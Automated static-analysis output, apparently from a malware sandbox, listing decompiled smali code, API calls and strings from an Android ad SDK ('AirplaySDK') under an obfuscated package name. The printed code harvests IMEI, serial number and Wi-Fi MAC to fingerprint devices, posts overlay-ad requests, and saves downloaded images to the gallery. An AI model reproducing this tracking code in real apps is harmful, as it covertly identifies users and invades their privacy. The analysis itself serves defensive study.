30invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Error reporting is off.
31cond_26: return-void
32cond_27:
33invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$700()Ljava/lang/String;
34move-result-object v7
36invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$700()Ljava/lang/String;
37move-result-object v8
39const-string v9, "%event%"
41invoke-virtual {v8, v9}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: %event%
42move-result v8
43if-eqz v8, :cond_3f
45const-string v8, "%event%"
47iget-object v9, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String;
49invoke-virtual {v7, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: %event%
50move-result-object v7
51cond_3f: new-instance v8, Ljava/lang/StringBuilder;
53invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
55const-string v9, "URL: "
57invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: URL:
58move-result-object v8
60invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v8
63invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
64move-result-object v8
66invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
67new-instance v3, Lorg/apache/http/impl/client/DefaultHttpClient;
69invoke-direct {v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
70new-instance v4, Lorg/apache/http/client/methods/HttpPost;
72invoke-direct {v4, v7}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
73new-instance v0, Lorg/apache/http/params/BasicHttpParams;
75invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V
77invoke-virtual {v4, v0}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V
78const/16 v8, 0x3a98
80invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 15000
81const/16 v8, 0x2710
83invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V
  • Data flow analysis:
    • p1: 10000
85invoke-interface {v3, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
86move-result-object v5
87if-nez v5, :cond_c0
88const/4 v1, 0x0
89goto_78:
90const-string v8, "AirplaySDK"
91new-instance v9, Ljava/lang/StringBuilder;
93invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
95const-string v10, "Status code: "
97invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Status code:
98move-result-object v9
100invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 0
101move-result-object v9
103invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
104move-result-object v9
106invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
107const/16 v8, 0xc8
108if-ne v1, v8, :cond_26
110invoke-interface {v5}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
111move-result-object v8
113invoke-static {v8}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String;
114move-result-object v6
116const-string v8, "AirplaySDK"
117new-instance v9, Ljava/lang/StringBuilder;
119invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
121const-string v10, "Overlay Data: "
123invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Overlay Data:
124move-result-object v9
126invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
127move-result-object v9
129invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
130move-result-object v9
132invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
133try_end_b4: goto/16 :goto_26
134catch_b6: move-exception v2
136const-string v8, "AirplaySDK"
138const-string v9, "Exception in overlay: "
140invoke-static {v8, v9, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Exception in overlay:
141goto/16 :goto_26
142cond_c0:
143invoke-interface {v5}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
144move-result-object v8
146invoke-interface {v8}, Lorg/apache/http/StatusLine;->getStatusCode()I
147try_end_c7: move-result v1
148goto/16 :goto_78
APIs
  • java.net.URL.<init>
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.setDoInput
  • java.net.HttpURLConnection.connect
  • java.net.HttpURLConnection.getInputStream
  • android.graphics.BitmapFactory.decodeStream
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.getApplicationInfo
  • java.io.File.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.io.FileOutputStream.<init>
  • android.graphics.Bitmap.compress
  • java.io.OutputStream.flush
  • java.io.OutputStream.close
  • java.lang.StringBuilder.<init>
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.getApplicationInfo
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.getContentResolver
  • android.provider.MediaStore$Images$Media.insertImage
  • com.vxjxu.jkhfn1870.MraidView.post
  • java.io.IOException.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.post
  • java.io.FileNotFoundException.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.post
  • java.lang.Exception.printStackTrace
Strings
  • TAG
  • file:
  • /
  • My Image
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v7, Ljava/net/URL;
3iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
5iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$imageURL:Ljava/lang/String;
7invoke-direct {v7, v8}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
9invoke-virtual {v7}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
10move-result-object v0
11check-cast v0, Ljava/net/HttpURLConnection;
12const/4 v8, 0x1
14invoke-virtual {v0, v8}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
  • Data flow analysis:
    • p0: 1
16invoke-virtual {v0}, Ljava/net/HttpURLConnection;->connect()V
18invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
19move-result-object v5
21invoke-static {v5}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap;
22move-result-object v6
24iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
26iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
28invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
29move-result-object v8
31invoke-virtual {v8}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
32move-result-object v8
34iget-object v1, v8, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
35const/4 v3, 0x0
36new-instance v4, Ljava/io/File;
38iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
40iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String;
42invoke-direct {v4, v1, v8}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
44const-string v8, "TAG"
45new-instance v9, Ljava/lang/StringBuilder;
47invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
49const-string v10, "file: "
51invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: file:
52move-result-object v9
54invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
55move-result-object v10
57invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v9
60invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
61move-result-object v9
63invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: TAG
64new-instance v3, Ljava/io/FileOutputStream;
66invoke-direct {v3, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
68sget-object v8, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
69const/16 v9, 0x55
71invoke-virtual {v6, v8, v9, v3}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
  • Data flow analysis:
    • quality: 85
73invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V
75invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
76goto_64: new-instance v8, Ljava/lang/StringBuilder;
78invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
80iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
82iget-object v9, v9, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
84invoke-virtual {v9}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
85move-result-object v9
87invoke-virtual {v9}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
88move-result-object v9
90iget-object v9, v9, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
92invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
93move-result-object v8
95const-string v9, "/"
97invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /
98move-result-object v8
100iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
102iget-object v9, v9, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String;
104invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
105move-result-object v8
107invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
108move-result-object v1
109try_start_8d:
110iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
112iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
114invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
115move-result-object v8
117invoke-virtual {v8}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
118move-result-object v8
120const-string v9, "My Image"
122iget-object v10, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
124iget-object v10, v10, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String;
126invoke-static {v8, v1, v9, v10}, Landroid/provider/MediaStore$Images$Media;->insertImage(Landroid/content/ContentResolver;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p2: My Image
128iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
130iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
131new-instance v9, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;
133invoke-direct {v9, p0}, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2$1;)V
135invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
136goto_ae: return-void
137catch_af: move-exception v2
139invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
140goto/16 :goto_64
141catch_b4: move-exception v2
143iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
145iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
146new-instance v9, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;
148invoke-direct {v9, p0}, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2$1;)V
150invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
152invoke-virtual {v2}, Ljava/io/FileNotFoundException;->printStackTrace()V
153goto/16 :goto_ae
154catch_c5: move-exception v2
156iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
158iget-object v8, v8, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
159new-instance v9, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;
161invoke-direct {v9, p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2$1;Ljava/lang/Exception;)V
163invoke-virtual {v8, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
165invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
166goto/16 :goto_ae
Cross References
APIs
  • android.content.Context.getSystemService
  • android.telephony.TelephonyManager.getDeviceId
  • java.lang.String.equals
  • java.lang.Class.forName
  • java.lang.Class.getMethod
  • java.lang.reflect.Method.invoke
  • java.lang.String.equals
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.checkPermission
  • android.content.Context.getSystemService
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.net.wifi.WifiManager.isWifiEnabled
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • android.net.wifi.WifiManager.getConnectionInfo
  • android.net.wifi.WifiInfo.getMacAddress
  • java.util.UUID.toString
  • java.lang.Exception.printStackTrace
Strings
  • phone
  • android.os.SystemProperties
  • get
  • ro.serialno
  • SERIAL
  • android.permission.ACCESS_WIFI_STATE
  • wifi
  • WIFI
  • WIFI_MAC
  • UUID
  • invalid
  • IMEI
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v5, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context;
4const-string v6, "phone"
6invoke-virtual {v5, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: phone
7move-result-object v5
8check-cast v5, Landroid/telephony/TelephonyManager;
10invoke-virtual {v5}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
11move-result-object v3
12if-eqz v3, :cond_18
14const-string v5, ""
16invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
17move-result v5
18if-eqz v5, :cond_ad
19cond_18:
20const-string v5, "android.os.SystemProperties"
22invoke-static {v5}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
  • Data flow analysis:
    • p0: android.os.SystemProperties
23move-result-object v0
25const-string v5, "get"
26const/4 v6, 0x1
27new-array v6, v6, [Ljava/lang/Class;
28const/4 v7, 0x0
29const-class v8, Ljava/lang/String;
30aput-object v8, v6, v7
32invoke-virtual {v0, v5, v6}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Data flow analysis:
    • p0: get
33move-result-object v1
34const/4 v5, 0x1
35new-array v5, v5, [Ljava/lang/Object;
36const/4 v6, 0x0
38const-string v7, "ro.serialno"
39aput-object v7, v5, v6
41invoke-virtual {v1, v0, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
42move-result-object v3
43check-cast v3, Ljava/lang/String;
45const-string v5, "SERIAL"
47invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SERIAL
48if-eqz v3, :cond_49
50const-string v5, ""
52invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
53move-result v5
54if-eqz v5, :cond_90
55cond_49:
56iget-object v5, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context;
58invoke-virtual {v5}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
59move-result-object v5
61const-string v6, "android.permission.ACCESS_WIFI_STATE"
63iget-object v7, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context;
65invoke-static {v7}, Lcom/vxjxu/jkhfn1870/Util;->getPackageName(Landroid/content/Context;)Ljava/lang/String;
66move-result-object v7
68invoke-virtual {v5, v6, v7}, Landroid/content/pm/PackageManager;->checkPermission(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • permName: android.permission.ACCESS_WIFI_STATE
69move-result v5
70if-nez v5, :cond_91
72iget-object v5, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context;
74const-string v6, "wifi"
76invoke-virtual {v5, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: wifi
77move-result-object v4
78check-cast v4, Landroid/net/wifi/WifiManager;
80sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream;
81new-instance v6, Ljava/lang/StringBuilder;
83invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
85const-string v7, "WIFI "
87invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: WIFI
88move-result-object v6
90invoke-virtual {v4}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
91move-result v7
93invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
94move-result-object v6
96invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
97move-result-object v6
99invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
101invoke-virtual {v4}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
102move-result-object v5
104invoke-virtual {v5}, Landroid/net/wifi/WifiInfo;->getMacAddress()Ljava/lang/String;
105move-result-object v3
107const-string v5, "WIFI_MAC"
109invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: WIFI_MAC
110goto_90: return-object v3
111cond_91: new-instance v5, Lcom/vxjxu/jkhfn1870/UserDetails$DeviceUuidFactory;
113iget-object v6, p0, Lcom/vxjxu/jkhfn1870/UserDetails;->context:Landroid/content/Context;
115invoke-direct {v5, p0, v6}, Lcom/vxjxu/jkhfn1870/UserDetails$DeviceUuidFactory;-><init>(Lcom/vxjxu/jkhfn1870/UserDetails;Landroid/content/Context;)V
117invoke-virtual {v5}, Lcom/vxjxu/jkhfn1870/UserDetails$DeviceUuidFactory;->getDeviceUuid()Ljava/util/UUID;
118move-result-object v5
120invoke-virtual {v5}, Ljava/util/UUID;->toString()Ljava/lang/String;
121move-result-object v3
123const-string v5, "UUID"
125invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: UUID
126try_end_a5: goto/16 :goto_90
127catch_a6: move-exception v2
129invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
131const-string v3, "invalid"
132goto/16 :goto_90
133try_start_ad:
134const-string v5, "IMEI"
136invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->setDevice_unique_type(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: IMEI
137try_end_b2: goto/16 :goto_90
Cross References
APIs
  • java.net.URL.<init>
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.setRequestMethod
  • java.net.HttpURLConnection.setConnectTimeout
  • java.net.HttpURLConnection.setReadTimeout
  • java.net.HttpURLConnection.setUseCaches
  • java.net.HttpURLConnection.setDefaultUseCaches
  • java.net.HttpURLConnection.connect
  • java.net.HttpURLConnection.getResponseCode
  • java.net.HttpURLConnection.getInputStream
  • android.graphics.BitmapFactory.decodeStream
  • java.net.HttpURLConnection.disconnect
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.net.HttpURLConnection.getResponseMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
  • java.lang.Exception.printStackTrace
  • android.util.Log.e
  • java.net.HttpURLConnection.disconnect
Strings
  • GET
  • AirplaySDK
  • Http code:
  • message:
  • Network Error, please try again later
Position Instruction Meta Information
0.param p1, "params" # [Ljava/lang/Void;
1.prologue
2const/4 v3, 0x0
3try_start_1: new-instance v5, Ljava/net/URL;
5iget-object v6, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->IMAGE_URL:Ljava/lang/String;
7invoke-direct {v5, v6}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
9invoke-virtual {v5}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
10move-result-object v6
11move-object v0, v6
12check-cast v0, Ljava/net/HttpURLConnection;
13move-object v3, v0
15const-string v6, "GET"
17invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: GET
18const/16 v6, 0x4e20
20invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
  • Data flow analysis:
    • p0: 20000
21const/16 v6, 0x4e20
23invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
  • Data flow analysis:
    • p0: 20000
24const/4 v6, 0x0
26invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
  • Data flow analysis:
    • p0: 0
27const/4 v6, 0x0
29invoke-virtual {v3, v6}, Ljava/net/HttpURLConnection;->setDefaultUseCaches(Z)V
  • Data flow analysis:
    • p0: 0
31invoke-virtual {v3}, Ljava/net/HttpURLConnection;->connect()V
33invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getResponseCode()I
34move-result v1
35const/16 v6, 0xc8
36if-ne v1, v6, :cond_43
38invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
39move-result-object v4
41invoke-static {v4}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap;
42move-result-object v6
43iput-object v6, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->bmpicon:Landroid/graphics/Bitmap;
44try_end_3c: if-eqz v3, :cond_41
46invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V
47goto_41: const/4 v6, 0x0
48return-object v6
49cond_43:
50const-string v6, "AirplaySDK"
51new-instance v7, Ljava/lang/StringBuilder;
53invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
55const-string v8, "Http code: "
57invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Http code:
58move-result-object v7
60invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
61move-result-object v7
63const-string v8, "message: "
65invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: message:
66move-result-object v7
68invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getResponseMessage()Ljava/lang/String;
69move-result-object v8
71invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
72move-result-object v7
74invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
75move-result-object v7
77invoke-static {v6, v7}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
78try_end_69: goto/16 :goto_3c
79catch_6a: move-exception v2
80try_start_6b:
81invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
83const-string v6, "AirplaySDK"
85const-string v7, "Network Error, please try again later"
87invoke-static {v6, v7}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Network Error, please try again later
88try_end_75: if-eqz v3, :cond_41
90invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V
91goto/16 :goto_41
92catchall_7b: move-exception v6
93if-eqz v3, :cond_81
95invoke-virtual {v3}, Ljava/net/HttpURLConnection;->disconnect()V
96cond_81: throw v6
APIs
  • android.util.Log.e
  • android.util.Log.i
  • android.util.Log.e
  • java.lang.Exception.printStackTrace
  • android.util.Log.e
  • android.os.Environment.getExternalStorageState
  • java.lang.String.equalsIgnoreCase
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.w
  • java.lang.System.currentTimeMillis
  • android.util.Log.w
  • android.util.Log.e
Strings
  • Video ad supported on Android 2.2 and later devices.
  • AirplaySDK
  • Initialising video ad.....
  • Integration issue is there
  • Required VideoAdActivity not found in Manifest. Please add
  • mounted
  • Another ad is already showing on screen.
  • Video ad is before 30 secs. Ignoring request.
  • Can\'t call video ad at this time. SD card not mounted.
  • AirPlay is disabled please enable to receive ads.
Position Instruction Meta Information
0.prologue
1try_start_0: sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
2const/16 v6, 0x8
3if-ge v5, v6, :cond_11
5const-string v3, "Video ad supported on Android 2.2 and later devices."
7const-string v5, "AirplaySDK"
9invoke-static {v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Video ad supported on Android 2.2 and later devices.
11invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Video ad supported on Android 2.2 and later devices.
12goto_10: return-void
13cond_11:
14const-string v5, "AirplaySDK"
16const-string v6, "Initialising video ad....."
18invoke-static {v5, v6}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Initialising video ad.....
20sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
22invoke-static {v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
23move-result v5
24if-eqz v5, :cond_af
25sget-boolean v5, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
26if-nez v5, :cond_2c
28sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
30invoke-static {v5}, Lcom/vxjxu/jkhfn1870/VideoAd;->checkVideoAdPermission(Landroid/content/Context;)Z
31move-result v5
32if-nez v5, :cond_39
33cond_2c:
34const-string v5, "AirplaySDK"
36const-string v6, "Integration issue is there"
38invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Integration issue is there
39try_end_33: goto/16 :goto_10
40catch_34: move-exception v2
42invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
43goto/16 :goto_10
44cond_39:
45sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
46const-class v6, Lcom/vxjxu/jkhfn1870/VideoAdActivity;
48invoke-static {v5, v6}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z
49move-result v1
50if-nez v1, :cond_57
52const-string v3, "Required VideoAdActivity not found in Manifest. Please add"
